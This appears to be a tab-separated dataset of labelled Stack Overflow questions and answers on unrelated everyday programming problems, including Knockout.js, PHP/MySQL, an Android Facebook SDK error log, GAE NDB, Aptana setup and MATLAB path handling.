10553617	0	 <p>In order for a shell script to be called like a binary, it needs a 'hashbang' as the first line of the file:</p> <pre><code>#!/bin/bash </code></pre> <p>which tells the OS which interpreter to use for the script. Without it the OS will get confused about what to do with the file, giving you the error you've seen.</p>
281621	0	 <p>I put it down to a lack of testing.</p>
17249363	0	Knockout checkbox selection filter <p>I am new at knockoutjc library, and can you help me? I have created a new model in javascript like this.</p> <p><img src="https://i.stack.imgur.com/9fPUk.png" alt="enter image description here"></p> <p>The code is here:</p> <pre><code> &lt;h2&gt;Category : Throusers&lt;/h2&gt; &lt;h3&gt;Sizes&lt;/h3&gt; &lt;ul data-bind="foreach: products"&gt; &lt;li&gt; &lt;input type="checkbox" data-bind="value: size.id" /&gt; &lt;label data-bind="text: size.name"&gt;&lt;/label&gt; &lt;/li&gt; &lt;/ul&gt; &lt;h3&gt;Colors&lt;/h3&gt; &lt;ul data-bind="foreach: products"&gt; &lt;li&gt; &lt;input type="checkbox" data-bind="value: color.id" /&gt; &lt;label data-bind=" text: color.name"&gt;&lt;/label&gt; &lt;/li&gt; &lt;/ul&gt; &lt;h3&gt;Products&lt;/h3&gt; &lt;ul data-bind="foreach: products"&gt; &lt;li&gt; &lt;label data-bind="text: name"&gt;&lt;/label&gt; - &lt;label data-bind="text: size.name"&gt;&lt;/label&gt;- &lt;label data-bind="text: color.name"&gt;&lt;/label&gt; &lt;/li&gt; &lt;/ul&gt; &lt;script type="text/javascript"&gt; function Color(id, name) { return { id: ko.observable(id), name: ko.observable(name) }; }; function Size(id, name) { return { id: ko.observable(id), name: ko.observable(name) }; } function Product(id,name, size, color) { return { id: ko.observable(), name: ko.observable(name), size: size, color: color }; }; var CategoryViewModel = { id: ko.observable(1), name: ko.observable("Throusers"), products: ko.observableArray([ new Product(1,"Levi's 501", new Size(1, "30-32"), new Color(1, "Red")), new Product(2,"Colins 308", new Size(2, "32-34"), new Color(2, "Black")), new Product(3,"Levi's 507", new Size(1, "30-32"), new Color(3, "Blue")) ]) }; ko.applyBindings(CategoryViewModel); &lt;/script&gt; </code></pre> <p>And now,</p> <ol> <li>I wanna this: duplicated Sizes and colors should not list.</li> <li>When I select a color from colors, selected color products should list and others should be disabled</li> </ol> <p>If model is wrong?</p>
14250930	0	Parsing RSS on Android and String Extraction <p>I'm working on porting an app from iOS to Android. The app is just a blog app. I would like to have the list view show just the first 7 characters from the description tag of the XML, and then when clicked, show the webpage from the XML link tag. Any suggestions for extracting the first 7 characters and using THAT for the list view title?</p>
39010298	0	 <p>The proper format should be:</p> <pre><code>composer require "dirkgroenen/Pinterest-API-PHP:0.2.11" </code></pre> <p>Or alternatively, you can add it to your <code>composer.json</code>:</p> <pre><code>"dirkgroenen/Pinterest-API-PHP" : "0.2.11", </code></pre> <p>Then do a <code>composer install</code></p>
20541004	0	 <p>Have you tried to add a ToList() statement to the where statement?</p> <pre><code>query = query.Where(x =&gt; x.GetType() == typeof(T)).ToList(); </code></pre> <p>As I recall the result of the Where statement is a too generic collection and therefore it needs to be cast first.</p> <p>Since I see that you're using an AddRange, it could also need to be converted to an array, use the ToArray() statement instead of the ToList() statement if the first doesn't work. I'm not sure if you can provide a List to an AddRange() statement.</p>
37555731	0	 <p>If anyone hit the problem again: <a href="https://forums.activiti.org/content/activiti-explorer-runs-return-error#comment-35300" rel="nofollow">https://forums.activiti.org/content/activiti-explorer-runs-return-error#comment-35300</a></p> <p>A possible solution is to set a servlet filter in the web.xml file to add a header X-UA-Compatible to the http response. An alternative remedy would be to upgrage Vaadin to 6.8 version according to this post <a href="https://dev.vaadin.com/ticket/12635" rel="nofollow">https://dev.vaadin.com/ticket/12635</a>.</p>
33983026	1	In caffe installation, where to set python path in vs studio <p>Hi Im trying to install caffe deep learning tool box in windows. </p> <p>I have to use it in python. I have so far completed first 2 steps mentioned in <code>https://github.com/happynear/caffe-windows</code></p> <p>For python wrapper, it says <code>replace the python include and library path and compile.</code> . I dont know where to set python include and library path in vs studio 2015.</p> <p>I have also run <code>MainBuilder.sln</code> in <code>build_cpu_only</code> folder. It gives the error <code>cannot find config.lib</code>. I'm trying to install caffe for python in windows for several hours. Please help. A step by step simple procedure to install caffe on windows and use it in python will be highly appreciated.</p>
18966828	0	If value exists in both array and database <p>I'm trying to check if a value exists in an array, if it does, it should echo the information about that value from the database.</p> <p>What I get now is "null" results, but I expect to get at least three results in the list, that exists in both array and database.</p> <p>This is how a var_dump looks of the array, it's not the whole array but it continues to look the same: <code>$friends = array($friends['data']);</code></p> <pre><code>array(1) { [0]=&gt; array(680) { [0]=&gt; array(2) { ["name"]=&gt; string(17) "One friends name" ["id"]=&gt; string(8) "FRIEND_ID" } [1]=&gt; array(2) { ["name"]=&gt; string(13) "Another friends name" ["id"]=&gt; string(9) "FRIEND_ID" } [2]=&gt; array(2) { ["name"]=&gt; string(22) "Another friends name" ["id"]=&gt; string(9) "FRIEND_ID" } </code></pre> <p>The PHP code:</p> <pre><code>&lt;?php $query_top_list_friends = mysql_query(" SELECT * FROM ".$DBprefix."users WHERE center_id='" . $personal['center_id'] . "' ORDER BY workouts DESC LIMIT 10"); $i = 0; $friends = array($friends['data']); while ($top_list_friends = mysql_fetch_array($query_top_list_friends)) { //Below it should only echo if the "fid" in the database and the "id" in the array is equal, then it should echo information based on that id from the database if($friends[$top_list_friends['fid']]) { $i++; echo "&lt;div class='user'&gt;"; echo "&lt;span class='number'&gt;" . $i . "&lt;/span&gt;"; echo "&lt;span class='name'&gt;" . $top_list_friends['name'] . "&lt;/span&gt;"; echo "&lt;span class='workouts'&gt;" . $top_list_friends['workouts'] . "&lt;/span&gt;"; echo "&lt;/div&gt;"; } } </code></pre> <p>Any ideas how I could fix this?</p>
25600670	0	Random "The specified cell does not exist." error with GetCellData method (webtable) in qtp <p>I am using <code>GetCellData</code> method of <code>WebTable</code> object in qtp to fetch each cell value of a webtable which has multiple rows across multiple pages and write to datasheet. Below is the code that I am using:</p> <pre><code>For i = 2 to rowct For j = 1 to colct Datatable.Value(j+1,"sheet1") = trim(frame1.WebTable("table1" ).GetCellData(i,j)) Next Next </code></pre> <p>row and column counts are fetched before the for loops as shown below:</p> <pre><code>rowct = frame1.WebTable("table1").RowCount colct = frame1.WebTable("table1").ColumnCount(1) </code></pre> <p>But sometimes, I get the following error for some cells and I can not see any pattern so far, which makes me think this is a random issue:</p> <blockquote> <p>ERROR: The specified cell does not exist."</p> </blockquote> <p>Some more info:</p> <ol> <li><p>Usually first row has this error:</p> <blockquote> <p>Please enter a search.</p> </blockquote></li> <li><p>The error is at cell level and not at webtable / row level. Although in most of the occasions, I see when there is such error with one cell, the entire table (as I am writing to datatable) has the same error.</p></li> <li><p>When such error occurs, I have seen that number of rows fetched is greater than actual number of rows in webtable. That is, if there is one row in actual table, then my datatable has 5 rows (and so on). Again this is random.</p></li> <li><p><code>i = 2</code> in the for loop because I don't want the first row as it contains headers.</p></li> </ol> <p>Been stuck on this for a while, any help is greatly appreciated !</p>
8646899	0	 <p>Hey instead of the following:</p> <pre><code>&lt;?php echo $article['Article']['title']; ?&gt; </code></pre> <p>try</p> <pre><code>&lt;?php echo $article['title']; ?&gt; </code></pre> <p>I am not sure yet why that happens, but it has worked for me in other occasions...</p> <p>Also on the foreach statement for comments I noticed you have</p> <pre><code>&lt;?php foreach($comment as $comments){ ?&gt; </code></pre> <p>Which I dont think will display your comments correctly. You should have</p> <pre><code>&lt;?php foreach($comments as $comment){ ?&gt; </code></pre> <p>And in your controller for this, use</p> <pre><code> $comments = $this-&gt;Article-&gt;Comment-&gt;find('all', ... </code></pre> <p>I am creating a similar application and at least that is how I handled everything.</p> <p>If you need to, I will post back or email you my articles controller, comments controller and corresponding views for your review.</p> <p>Thanks,</p>
24379828	0	 <p>There are two ways to cast a variable in PHP as a specific type.</p> <ol> <li>using the settype() function</li> <li>using (int) (bool) (float) etc</li> </ol> <p>More Info : <a href="http://www.electrictoolbox.com/type-casting-php/" rel="nofollow">http://www.electrictoolbox.com/type-casting-php/</a></p>
2465622	0	 <p>One approach is to extend <a href="http://java.sun.com/javase/6/docs/api/javax/swing/JToggleButton.html" rel="nofollow noreferrer"><code>JToggleButton</code></a> and override <code>paintComponent()</code> to display the color. A <code>javax.swing.Timer</code> can control timing. Here is a somewhat more elaborate <a href="http://sites.google.com/site/drjohnbmatthews/buttons" rel="nofollow noreferrer">example</a>. </p> <pre><code>private static class SimonButton extends JToggleButton { private final Color color; Dimension size = new Dimension(100, 100); public SimonButton(Color color) { this.color = color; } @Override protected void paintComponent(Graphics g) { super.paintComponent(g); if (this.isSelected()) { g.setColor(color); } else { g.setColor(Color.lightGray); } g.fillRect(0, 0, this.getWidth(), this.getHeight()); } @Override public Dimension getPreferredSize() { return size; } } </code></pre>
6308335	0	Adjust TogglerBar button size in Mathematica <p>Is it possible to adjust the size/font of the TogglerBar, so that they are all equally large in case of different name size.</p> <p>The example below is the solution proposed by Belisarius for : <a href="http://stackoverflow.com/questions/6299215/can-togglerbar-be-used-as-multiple-checkbox-in-mathematica">"Can TogglerBar be used as multiple CheckBox in Mathematica ?"</a></p> <p>I would like each Button to be equally sized.</p> <pre><code>Manipulate[Graphics[ { {White, Circle[{5, 5}, r]},(*For Mma 7 compatibility*) If[MemberQ[whatToDisplay, "I am a Circle"], {Red, Circle[{5, 5}, r]}], If[MemberQ[whatToDisplay, "and I am a very nice Square"], {Blue, Rectangle[{5, 5}, {r, r}]}], If[MemberQ[whatToDisplay, "Other"], {Black, Line[Tuples[{3, 4}, 2]]}] }, PlotRange -&gt; {{0, 20}, {0, 10}} ], {{r, 1, Style["Radius", Black, Bold, 12]}, 1, 5, 1, ControlType -&gt; Slider, ControlPlacement -&gt; Top}, Control@{{whatToDisplay, True, Style["What", Black, Bold, 12]}, {"I am a Circle", "and I am a very nice Square", "Other"}, ControlType -&gt; TogglerBar, Appearance -&gt; "Horizontal", ControlPlacement -&gt; Top}] </code></pre> <p><img src="https://i.stack.imgur.com/Nm6cb.png" alt="enter image description here"></p> <p><strong>EDIT</strong> : It is trully ugly in the code (if we can still call that a code) but looks good on display.</p> <p><img src="https://i.stack.imgur.com/vwbTR.png" alt="enter image description here"></p> <p><img src="https://i.stack.imgur.com/Hz0Xa.png" alt="enter image description here"></p>
14181653	0	Getting error to post to facebook wall <p>I've already searched google and stackoverflow but I can't find a solution. I'm trying to integrate facebook into my App so users can suggest new Beer Brands directly to my facebook fanpage thorugh my app. Because right now I'm getting like 3 e-mails a day where users suggest new beer brands.</p> <p>What I did: - Created a facebook developer account, enabled Native Android app and inserted the Key-Hash etc. - downloaded and integrated the facebook sdk. - addet internet permission - integrated the following facebook helper class:</p> <pre><code>package com.celticwolf.nsod; //changed import com.facebook.android.*; import com.facebook.android.Facebook.DialogListener; import android.app.Activity; import android.content.Context; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.Bundle; import android.util.Log; import android.view.View; import android.view.Window; import android.widget.Toast; public class ShareOnFacebook extends Activity{ private static final String APP_ID = "35253892647899"; // changed private static final String[] PERMISSIONS = new String[] {"publish_stream"}; private static final String TOKEN = "access_token"; private static final String EXPIRES = "expires_in"; private static final String KEY = "facebook-credentials"; private Facebook facebook; private String messageToPost; public boolean saveCredentials(Facebook facebook) { Editor editor = getApplicationContext().getSharedPreferences(KEY, Context.MODE_PRIVATE).edit(); editor.putString(TOKEN, facebook.getAccessToken()); editor.putLong(EXPIRES, facebook.getAccessExpires()); return editor.commit(); } public boolean restoreCredentials(Facebook facebook) { SharedPreferences sharedPreferences = getApplicationContext().getSharedPreferences(KEY, Context.MODE_PRIVATE); facebook.setAccessToken(sharedPreferences.getString(TOKEN, null)); facebook.setAccessExpires(sharedPreferences.getLong(EXPIRES, 0)); return facebook.isSessionValid(); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); facebook = new Facebook(APP_ID); restoreCredentials(facebook); requestWindowFeature(Window.FEATURE_NO_TITLE); setContentView(R.layout.facebook_dialog); String facebookMessage = getIntent().getStringExtra("facebookMessage"); if (facebookMessage == null){ facebookMessage = "Test wall post"; } messageToPost = facebookMessage; } public void doNotShare(View button){ finish(); } public void share(View button){ if (! facebook.isSessionValid()) { loginAndPostToWall(); } else { postToWall(messageToPost); } } public void loginAndPostToWall(){ facebook.authorize(this, PERMISSIONS, Facebook.FORCE_DIALOG_AUTH, new LoginDialogListener()); } public void postToWall(String message){ Bundle parameters = new Bundle(); parameters.putString("message", message); parameters.putString("description", "topic share"); try { facebook.request("me"); // &lt;------ here it fails String response = facebook.request("me/feed", parameters, "POST"); Log.d("Tests", "got response: " + response); if (response == null || response.equals("") || response.equals("false")) { showToast("Blank response."); } else { showToast("Message posted to your facebook wall!"); } finish(); } catch (Exception e) { showToast("Failed to post to wall!"); e.printStackTrace(); finish(); } } class LoginDialogListener implements DialogListener { public void onComplete(Bundle values) { saveCredentials(facebook); if (messageToPost != null){ postToWall(messageToPost); } } public void onFacebookError(FacebookError error) { showToast("Authentication with Facebook failed!"); finish(); } public void onError(DialogError error) { showToast("Authentication with Facebook failed!"); finish(); } public void onCancel() { showToast("Authentication with Facebook cancelled!"); finish(); } } private void showToast(String message){ Toast.makeText(getApplicationContext(), message, Toast.LENGTH_SHORT).show(); } } </code></pre> <p>and I've addet the following Code to access the helper class:</p> <pre><code>private void shareonfb(){ Intent postOnFacebookWallIntent = new Intent(this, ShareOnFacebook.class); postOnFacebookWallIntent.putExtra("facebookMessage", "Teeeeeeeeeeeest"); startActivity(postOnFacebookWallIntent); } </code></pre> <p>Where it fails: - I'm able to log into facebook but when it asks if I want to share it fails at the following codeblock:</p> <pre><code>public void postToWall(String message){ Bundle parameters = new Bundle(); parameters.putString("message", message); parameters.putString("description", "topic share"); try { facebook.request("me"); // &lt;------------- here it fails and jups to catch String response = facebook.request("me/feed", parameters, "POST"); Log.d("Tests", "got response: " + response); if (response == null || response.equals("") || response.equals("false")) { showToast("Blank response."); } else { showToast("Message posted to your facebook wall!"); } finish(); } catch (Exception e) { showToast("Failed to post to wall!"); e.printStackTrace(); finish(); } } </code></pre> <p>here is the log: (i've marked the part where it fails)</p> <pre><code>01-06 13:19:53.795: W/ActivityThread(1220): Application com.celticwolf.alex is waiting for the debugger on port 8100... 01-06 13:19:53.805: I/System.out(1220): Sending WAIT chunk 01-06 13:19:54.205: I/System.out(1220): Debugger has connected 01-06 13:19:54.205: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:54.405: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:54.615: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:54.820: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:55.250: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:55.450: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:55.650: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:55.850: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:56.050: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:56.250: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:56.450: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:56.650: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:56.850: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:57.050: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:57.255: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:57.455: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:57.655: I/System.out(1220): waiting for debugger to settle... 01-06 13:19:57.855: I/System.out(1220): debugger has settled (1373) 01-06 13:19:58.285: I/dalvikvm-heap(1220): Grow heap (frag case) to 7.205MB for 3502096-byte allocation 01-06 13:19:58.400: I/dalvikvm-heap(1220): Grow heap (frag case) to 13.139MB for 6224656-byte allocation 01-06 13:19:58.575: I/MediaPlayer(1220): setLPAflag() in 01-06 13:19:58.575: I/MediaPlayer(1220): mContext is null, can't getMirrorDisplayStatus!!! 01-06 13:19:58.575: I/MediaPlayer(1220): setLPAflag() out 01-06 13:19:58.585: W/MediaPlayer(1220): info/warning (1, 902) 01-06 13:19:58.585: D/MediaPlayer(1220): [DLNA]contentType = 902 01-06 13:19:58.585: D/MediaPlayer(1220): doStart() in 01-06 13:19:58.590: D/MediaPlayer(1220): getIntParameter = 902 01-06 13:19:58.665: D/MediaPlayer(1220): Mediaplayer receives message, message type: 200 01-06 13:19:58.665: I/MediaPlayer(1220): Info (1,902) 01-06 13:19:58.665: D/MediaPlayer(1220): Mediaplayer receives message, message type: 5 01-06 13:19:58.665: D/MediaPlayer(1220): Mediaplayer receives message, message type: 1 01-06 13:19:58.745: E/(1220): file /data/data/com.nvidia.NvCPLSvc/files/driverlist.txt: not found! 01-06 13:19:58.745: I/(1220): Attempting to load EGL implementation /system/lib//egl/libEGL_tegra_impl 01-06 13:19:58.805: I/(1220): Loaded EGL implementation /system/lib//egl/libEGL_tegra_impl 01-06 13:19:58.905: I/(1220): Loading GLESv2 implementation /system/lib//egl/libGLESv2_tegra_impl 01-06 13:19:59.350: D/MediaPlayer(1220): Mediaplayer receives message, message type: 2 01-06 13:20:00.200: D/MediaPlayer(1220): release() in 01-06 13:20:00.210: D/MediaPlayer(1220): release() out 01-06 13:20:00.745: W/MediaPlayer-JNI(1220): MediaPlayer finalized without being released 01-06 13:20:00.745: I/dalvikvm-heap(1220): Grow heap (frag case) to 15.433MB for 3317776-byte allocation 01-06 13:20:40.855: D/View(1220): ACTION_DOWN before UnsetPressedState. invoking mUnsetPressedState.run() 01-06 13:20:40.870: I/Choreographer(1220): Skipped 1158 frames! The application may be doing too much work on its main thread. 01-06 13:20:43.810: E/SpannableStringBuilder(1220): SPAN_EXCLUSIVE_EXCLUSIVE spans cannot have a zero length 01-06 13:20:43.810: E/SpannableStringBuilder(1220): SPAN_EXCLUSIVE_EXCLUSIVE spans cannot have a zero length 01-06 13:20:43.975: E/SpannableStringBuilder(1220): SPAN_EXCLUSIVE_EXCLUSIVE spans cannot have a zero length 01-06 13:20:43.975: E/SpannableStringBuilder(1220): SPAN_EXCLUSIVE_EXCLUSIVE spans cannot have a zero length 01-06 13:20:45.150: E/SpannableStringBuilder(1220): SPAN_EXCLUSIVE_EXCLUSIVE spans cannot have a zero length 01-06 13:20:45.150: E/SpannableStringBuilder(1220): SPAN_EXCLUSIVE_EXCLUSIVE spans cannot have a zero length 01-06 13:21:40.920: D/Facebook-Util(1220): GET URL: https://graph.facebook.com/me?access_token=AAAFAqIQXNsUBAE18DxmYZCvB9uLEFUSeQEMp3hZASDnjOMllu1Q0BqSTYEoGVEvjZAp8l18eZCt8ZArlPwQ5A08SijSFF00imS2JDO0A9MAZDZD&amp;format=json 01-06 13:21:51.180: W/System.err(1220): android.os.NetworkOnMainThreadException &lt;--- at this point it fails 01-06 13:21:51.215: W/System.err(1220): at android.os.StrictMode$AndroidBlockGuardPolicy.onNetwork(StrictMode.java:1208) 01-06 13:21:51.215: W/System.err(1220): at java.net.InetAddress.lookupHostByName(InetAddress.java:388) 01-06 13:21:51.220: W/System.err(1220): at java.net.InetAddress.getAllByNameImpl(InetAddress.java:239) 01-06 13:21:51.220: W/System.err(1220): at java.net.InetAddress.getAllByName(InetAddress.java:214) 01-06 13:21:51.225: W/System.err(1220): at libcore.net.http.HttpConnection.&lt;init&gt;(HttpConnection.java:70) 01-06 13:21:51.225: W/System.err(1220): at libcore.net.http.HttpConnection.&lt;init&gt;(HttpConnection.java:50) 01-06 13:21:51.230: W/System.err(1220): at libcore.net.http.HttpConnection$Address.connect(HttpConnection.java:340) 01-06 13:21:51.230: W/System.err(1220): at libcore.net.http.HttpConnectionPool.get(HttpConnectionPool.java:87) 01-06 13:21:51.235: W/System.err(1220): at libcore.net.http.HttpConnection.connect(HttpConnection.java:128) 01-06 13:21:51.235: W/System.err(1220): at libcore.net.http.HttpEngine.openSocketConnection(HttpEngine.java:315) 01-06 13:21:51.240: W/System.err(1220): at libcore.net.http.HttpsURLConnectionImpl$HttpsEngine.makeSslConnection(HttpsURLConnectionImpl.java:461) 01-06 13:21:51.240: W/System.err(1220): at libcore.net.http.HttpsURLConnectionImpl$HttpsEngine.connect(HttpsURLConnectionImpl.java:433) 01-06 13:21:51.245: W/System.err(1220): at libcore.net.http.HttpEngine.sendSocketRequest(HttpEngine.java:289) 01-06 13:21:51.245: W/System.err(1220): at libcore.net.http.HttpEngine.sendRequest(HttpEngine.java:239) 01-06 13:21:51.250: W/System.err(1220): at libcore.net.http.HttpURLConnectionImpl.getResponse(HttpURLConnectionImpl.java:273) 01-06 13:21:51.255: W/System.err(1220): at libcore.net.http.HttpURLConnectionImpl.getInputStream(HttpURLConnectionImpl.java:168) 01-06 13:21:51.255: W/System.err(1220): at libcore.net.http.HttpsURLConnectionImpl.getInputStream(HttpsURLConnectionImpl.java:271) 01-06 13:21:51.255: W/System.err(1220): at com.facebook.android.Util.openUrl(Util.java:219) 01-06 13:21:51.260: W/System.err(1220): at com.facebook.android.Facebook.requestImpl(Facebook.java:806) 01-06 13:21:51.260: W/System.err(1220): at com.facebook.android.Facebook.request(Facebook.java:732) 01-06 13:21:51.265: W/System.err(1220): at com.celticwolf.alex.ShareOnFacebook.postToWall(ShareOnFacebook.java:81) 01-06 13:21:51.265: W/System.err(1220): at com.celticwolf.alex.ShareOnFacebook.share(ShareOnFacebook.java:68) 01-06 13:21:51.265: W/System.err(1220): at java.lang.reflect.Method.invokeNative(Native Method) 01-06 13:21:51.265: W/System.err(1220): at java.lang.reflect.Method.invoke(Method.java:511) 01-06 13:21:51.270: W/System.err(1220): at android.view.View$1.onClick(View.java:3603) 01-06 13:21:51.270: W/System.err(1220): at android.view.View.performClick(View.java:4101) 01-06 13:21:51.270: W/System.err(1220): at android.view.View$PerformClick.run(View.java:17078) 01-06 13:21:51.275: W/System.err(1220): at android.os.Handler.handleCallback(Handler.java:615) 01-06 13:21:51.275: W/System.err(1220): at android.os.Handler.dispatchMessage(Handler.java:92) 01-06 13:21:51.275: W/System.err(1220): at android.os.Looper.loop(Looper.java:155) 01-06 13:21:51.280: W/System.err(1220): at android.app.ActivityThread.main(ActivityThread.java:5485) 01-06 13:21:51.280: W/System.err(1220): at java.lang.reflect.Method.invokeNative(Native Method) 01-06 13:21:51.280: W/System.err(1220): at java.lang.reflect.Method.invoke(Method.java:511) 01-06 13:21:51.285: W/System.err(1220): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1028) 01-06 13:21:51.285: W/System.err(1220): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:795) 01-06 13:21:51.285: W/System.err(1220): at dalvik.system.NativeStart.main(Native Method) </code></pre> <p>Thank You!</p>
21989868	0	How to remove value from GAE NDB Property (type BlobKeyProperty) <p>It might be the most dumb question and my apologies for the same but I am confused </p> <p>I have the following entity: </p> <pre><code>class Profile(ndb.Model): name = ndb.StringProperty() identifier = ndb.StringProperty() pic = ndb.BlobKeyProperty() # stores the key to the profile picture blob </code></pre> <p>I want to delete the "pic" property value of the above entity so that it should look as fresh as if "pic" was never assigned any value. I do not intend to delete the complete entity. Is the below approach correct: </p> <pre><code>qry = Profile.query(Profile.identifier==identifier) result_record_list = qry.fetch() if result_record_list: result_record_list[0].pic.delete() # or result_record_list[0].pic = none # or undefined or null </code></pre> <p>I am deleting the actual blob referred by this blob key separately </p>
19158308	0	Finding whether two eCommerce customers are same physical entity? <p>eCommerce sites sometimes give some deal which can be used only x number of times by a particular customer. Without any exception there are some clients who try to create multiple accounts to use the same deal more than once, and sometimes gets caught. I would like to how the eCommerce site maps these accounts/digital addresses to a single physical entity. </p> <p>I Hope this is ubiquitous to all eCommerce site and has been explored in deep . Can anyone point me to some reading material on this? I googled but did not get anything (yes , i don't know what should be my search query)</p> <p>Thanks in advance </p>
16895064	0	 <p>use the built in distance calculation:</p> <pre><code>Location loc; ..... float radius = 50.0; float distance = loc.distanceTo(loc2); if (distance &lt; radius) then inside. </code></pre>
15121638	0	 <p>Can you get a handle to the inline image by the DominoDocument.AttachmentValueHolder, see <a href="http://public.dhe.ibm.com/software/dw/lotus/Domino-Designer/JavaDocs/XPagesExtAPI/8.5.2/com/ibm/xsp/model/domino/wrapped/DominoDocument.AttachmentValueHolder.html" rel="nofollow">http://public.dhe.ibm.com/software/dw/lotus/Domino-Designer/JavaDocs/XPagesExtAPI/8.5.2/com/ibm/xsp/model/domino/wrapped/DominoDocument.AttachmentValueHolder.html</a></p> <p>I blogged about attachments inside notes documents, see <a href="http://www.domino-weblog.nl/weblogs/Domino_Blog.nsf/dx/xpages-tip-get-easily-access-to-your-attachments-in-java.htm" rel="nofollow">http://www.domino-weblog.nl/weblogs/Domino_Blog.nsf/dx/xpages-tip-get-easily-access-to-your-attachments-in-java.htm</a></p>
14514784	0	 <p>I am learning clisp, but it can work.</p> <pre><code>(defun append-all (x L) (flet ( (append-item (alist) (append alist (list x)))) (mapcar #'append-item L))) (print (append-all '3 '((1) (2 1) (2)))) </code></pre>
28062317	0	 <p>Use the nested array.</p> <pre><code>{foreach from=$test key=key item=item} {foreach from=$item key=k item=i} {$k}: {$i} {* returns 'column_name: value' *} {/foreach} {/foreach} </code></pre>
17299985	0	error in relation between two models - ruby on rails 3 <p>please I need help ! seems like my association doesn't work correctly but i cant find what's wrong. i have a relation between student and guardian , student has many guardians and guardians belongs to student</p> <p>i can't get the admission number which inserted in student form , to the guardians form , seems like no relation but i cant solve it !</p> <p>I Dont knw why users down vote my question ! :D i just cant make this work so i asked for a help :O</p> <p>students_controller.rb</p> <pre><code>class StudentsController &lt; ApplicationController def index @student = Student.all end def show @student = Student.find(params[:id]) end def new @student = Student.new end def create @student = Student.new(params[:student]) if @student.save flash[:success] = ' Student Record Saved Successfully. Please fill the Parent Details.' redirect_to new_guardian_url else flash.now[:error] = 'An error occurred please try again!' render 'new' end end def edit end end </code></pre> <p>guardians_controller.rb</p> <pre><code>class GuardiansController &lt; ApplicationController def index end def show end def new @guardian = Guardian.new end def edit end end </code></pre> <p>student.rb</p> <pre><code>class Student &lt; ActiveRecord::Base attr_accessible :address_line1, :address_line2, :admission_date, :admission_no, :birth_place, :blood_group, :city, :class_roll_no, :date_of_birth, :email, :first_name, :gender, :language, :last_name, :middle_name, :phone1, :phone2, :post_code, :religion, :country_id, :nationality_id belongs_to :user belongs_to :country belongs_to :school belongs_to :batch belongs_to :nationality , class_name: 'Country' has_many :guardians has_many :student_previous_subject_marks has_one :student_previous_data end </code></pre> <p>guardian.rb</p> <pre><code>class Guardian &lt; ActiveRecord::Base attr_accessible :city, :dob, :education, :email, :first_name, :income, :last_name, :mobile_phone, :occupation, :office_address_line1, :office_address_line2, :office_phone1, :office_phone2, :relation belongs_to :user belongs_to :country belongs_to :school belongs_to :student end </code></pre> <p>guardians/new.html.erb</p> <pre><code>&lt;h1&gt;Admission&lt;/h1&gt; &lt;h4&gt;Step 2 - Parent details&lt;/h4&gt; &lt;div class="row-fluid"&gt; &lt;div class="span4 offset1 hero-unit"&gt; &lt;%= form_for @guardian do |f| %&gt; &lt;% if @guardian.errors.any? %&gt; &lt;div id="error_explanation"&gt; &lt;div class="alert alert-error"&gt; The form contains &lt;%= pluralize(@guardian.errors.count, 'error') %&gt; &lt;/div&gt; &lt;ul&gt; &lt;% @guardian.errors.full_messages.each do |msg| %&gt; &lt;li&gt;* &lt;%= msg %&gt;&lt;/li&gt; &lt;% end %&gt; &lt;/ul&gt; &lt;/div&gt; &lt;% end %&gt; &lt;fieldset&gt; &lt;div class="field"&gt; &lt;%= f.label 'Student Admission number' %&gt; &lt;%= f.text_field @guardian.student.admission_no %&gt; &lt;/div&gt; </code></pre>
7369375	0	 <p>Highlight your text in visual mode, as in press <kbd>v</kbd> and select your text (like <kbd>viw</kbd> to select the word your cursor is inside, and type, for example <kbd>s'</kbd> to surround it with single quotes. Just don't drop out of visual mode.</p>
8698445	0	 <p>The SO answer "<a href="http://stackoverflow.com/questions/214272/how-to-set-up-internal-browser-for-aptana-on-linux">How to set up internal browser for Aptana on Linux</a>" lists some solution.<br> Check also your version of Aptana vs. JDK (32 or 64 bits): "<a href="http://www.raditha.com/blog/archives/barking-up-the-wrong-tree..html" rel="nofollow">Barking Up the Wrong Tree</a>" </p> <p>More recently (December 2012, <a href="http://aerdhyl.eu/about-me.html" rel="nofollow">Bruno Carlin</a>), this issue can also be linked to the <strong>version of Xulrunner in Arch LinuX repositories</strong> (see "<a href="http://aerdhyl.eu/blog/2011/12/Aptana-eclipse-and-xulrunner.html" rel="nofollow">Aptana Studio/Eclipse and Xulrunner </a>")</p> <blockquote> <p>The solution is that Aptana Studio cannot work with the version of Xulrunner in Arch LinuX repositories because it is too recent.</p> <p>To solve this problem, I had to install xulrunner 1.9.2 from AUR:</p> </blockquote> <pre><code>yaourt -S xulrunner192 </code></pre> <blockquote> <p>Finally, I put</p> </blockquote> <pre><code>-Dorg.eclipse.swt.browser.XULRunnerPath=/usr/lib/xulrunner-1.9.2 </code></pre> <blockquote> <p>at the end of the AptanaStudio3.ini file in the Aptana Studio folder. For the package in the Arch Linux repositories, this file is <code>/usr/share/aptana/AptanaStudio3.ini</code>.</p> </blockquote>
37149461	0	 <p>The genpath answer works for <code>fragment*</code> cases, but not a <code>*fragment*</code> case.</p> <p>Clunky, but works:</p> <pre><code>pathlist = path; pathArray = strsplit(pathlist,';'); numPaths = numel(pathArray); for n = 1:numPaths testPath = char(pathArray(n)) isMatching = strfind(testPath,'pathFragment') if isMatching rmpath(testPath); end end </code></pre>
